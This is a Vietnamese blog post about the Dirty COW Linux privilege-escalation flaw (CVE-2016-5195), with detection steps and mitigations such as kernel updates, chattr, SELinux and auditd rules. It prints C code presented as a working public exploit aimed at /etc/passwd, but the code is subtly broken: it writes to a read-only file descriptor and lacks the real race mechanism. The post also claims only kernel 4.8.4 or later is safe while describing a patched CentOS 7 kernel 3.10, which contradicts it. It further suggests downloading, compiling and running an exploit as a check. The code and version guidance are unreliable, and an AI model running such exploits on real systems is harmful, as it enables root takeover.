Một trong những lỗ hổng nguy hiểm nhất mà mình từng xử lý là Dirty COW (CVE-2016-5195), một lỗi trong cơ chế Copy-On-Write (COW) của nhân Linux, cho phép hacker ghi đè lên file hệ thống và chiếm quyền root chỉ trong vài giây. Hôm nay, mình sẽ chia sẻ cách Dirty COW hoạt động, cách phát hiện xem hệ thống của bạn có bị ảnh hưởng không và quan trọng nhất là cách bảo vệ hệ thống Linux trước tấn công leo thang đặc quyền. Nếu bạn đang quản trị một hệ thống Linux hoặc quan tâm đến bảo mật, đừng bỏ lỡ bài viết này.
Leo thang đặc quyền là gì và tại sao nó lại nguy hiểm?
Khi hacker xâm nhập vào một hệ thống, họ thường chỉ có quyền hạn thấp, ví dụ như một user thông thường hoặc một tài khoản dịch vụ. Tuy nhiên, thông qua tấn công leo thang đặc quyền, họ có thể nâng quyền lên root và kiểm soát toàn bộ hệ thống.
Leo thang đặc quyền có 2 dạng chính:
- Leo thang đặc quyền ngang: Hacker di chuyển từ tài khoản user này sang tài khoản khác để mở rộng phạm vi tấn công.
- Leo thang đặc quyền dọc: Hacker nâng cấp từ user bình thường lên root, chiếm toàn quyền kiểm soát hệ thống.
Một trong những lỗ hổng giúp hacker leo thang đặc quyền Linux hiệu quả nhất chính là Dirty COW (CVE-2016-5195).
Có thể bạn quan tâm: Quy trình xử lý sự cố an toàn thông tin
Hacker chiếm quyền root qua Dirty COW (CVE-2016-5195) thế nào?
1. Cơ chế hoạt động của Dirty COW
Cơ chế Copy-On-Write (COW) trong Linux được thiết kế để tối ưu hóa bộ nhớ:
- Khi một process muốn ghi vào một tệp, hệ thống sẽ tạo một bản sao thay vì sửa đổi bản gốc.
- Tuy nhiên, Dirty COW xuất hiện khi hacker gây ra race condition giữa COW và thao tác mmap().
- Kết quả là hacker có thể ghi đè nội dung của tệp hệ thống, ngay cả khi họ chỉ có quyền đọc (read-only).
Hậu quả của Dirty COW:
- Hacker có thể sửa đổi /etc/passwd để tạo tài khoản root giả mạo.
- Có thể chiếm quyền điều khiển hệ thống mà không cần mật khẩu.
- Ảnh hưởng tất cả các phiên bản Linux từ 2.6.22 đến 4.8.3.
2. Ví dụ thực tế exploit Dirty COW để leo thang đặc quyền
Mình đã thử nghiệm khai thác Dirty COW trên CentOS 7 (kernel 3.10.0-327) trong môi trường lab. Kết quả:
- Trước khi cập nhật kernel: Exploit chạy thành công, cho phép tạo tài khoản root.
- Sau khi cập nhật kernel: Exploit thất bại, hệ thống báo lỗi
Operation not permitted
.
Dưới đây là một mã khai thác Dirty COW đã được công khai:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <unistd.h>
void *madviseThread(void *arg) {
int i;
for (i = 0; i < 1000000; i++) {
madvise(arg, 4096, MADV_DONTNEED);
}
}
int main(int argc, char *argv[]) {
int file = open("/etc/passwd", O_RDONLY);
struct stat st;
fstat(file, &st);
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, file, 0);
pthread_t thread;
pthread_create(&thread, NULL, madviseThread, map);
lseek(file, 0, SEEK_SET);
write(file, "root:x:0:0:root:/root:/bin/bash\\n", 32);
return 0;
}
Cách kiểm tra xem hệ thống có bị ảnh hưởng không?
1. Kiểm tra phiên bản kernel
Nếu kernel của bạn cũ hơn 4.8.4, hệ thống có thể bị tấn công.
uname -r
Danh sách các phiên bản kernel dễ bị tấn công:
- 2.6.22 → 4.8.3 → Dễ bị khai thác
- 4.8.4+ → Đã vá lỗi
2. Kiểm tra Dirty COW bằng script
Nếu bạn không chắc chắn hệ thống có bị ảnh hưởng hay không, có thể tải và chạy một script thử nghiệm:
wget <https://dirtycow.ninja/dirtyc0w.c>
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w
Nếu script này có thể ghi đè tệp hệ thống, có nghĩa là hệ thống chưa được vá.
Làm sao để bảo vệ hệ thống trước Dirty COW?
1. Cập nhật Kernel ngay và luôn
Cách duy nhất để ngăn chặn hoàn toàn Dirty COW là cập nhật kernel lên phiên bản mới nhất.
Cập nhật Kernel trên CentOS 6/7:
sudo yum update kernel -y
sudo reboot
Sau khi cập nhật, kiểm tra lại kernel mới:
uname -r
Nếu hệ thống đang chạy kernel 4.8.4+, bạn đã an toàn trước Dirty COW.
2. Chặn ghi đè các tệp hệ thống quan trọng
Nếu bạn chưa thể cập nhật kernel ngay, hãy hạn chế hacker ghi đè lên các tệp nhạy cảm.
Vô hiệu hóa chỉnh sửa /etc/passwd
bằng chattr:
sudo chattr +i /etc/passwd
Bật SELinux để ngăn hacker ghi vào tệp hệ thống:
sudo setenforce 1
3. Giám sát hệ thống để phát hiện tấn công
Dùng Auditd để giám sát các tệp quan trọng như /etc/passwd
:
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /proc/self/mem -p wa -k memory_changes
Xem log Auditd:
ausearch -k passwd_changes
Kết luận
Tấn công leo thang đặc quyền Linux là một mối nguy thực sự mà các quản trị viên không thể coi thường. Dirty COW đã bị khai thác rộng rãi trong quá khứ và vẫn còn ảnh hưởng đến nhiều hệ thống chưa được cập nhật.
Bạn đã dành thời gian đọc hết bài viết này. Vậy cần thực hiện hành động gì ngay?
- Kiểm tra phiên bản kernel để xem hệ thống có bị ảnh hưởng không.
- Cập nhật kernel lên bản mới nhất để vá lỗ hổng.
- Hạn chế quyền ghi lên các tệp quan trọng để giảm thiểu rủi ro.
- Giám sát hệ thống thường xuyên để phát hiện hành vi bất thường.
Đừng đợi đến khi bị tấn công mới lo sửa lỗi. Kiểm tra hệ thống của bạn ngay hôm nay!
Đọc thêm: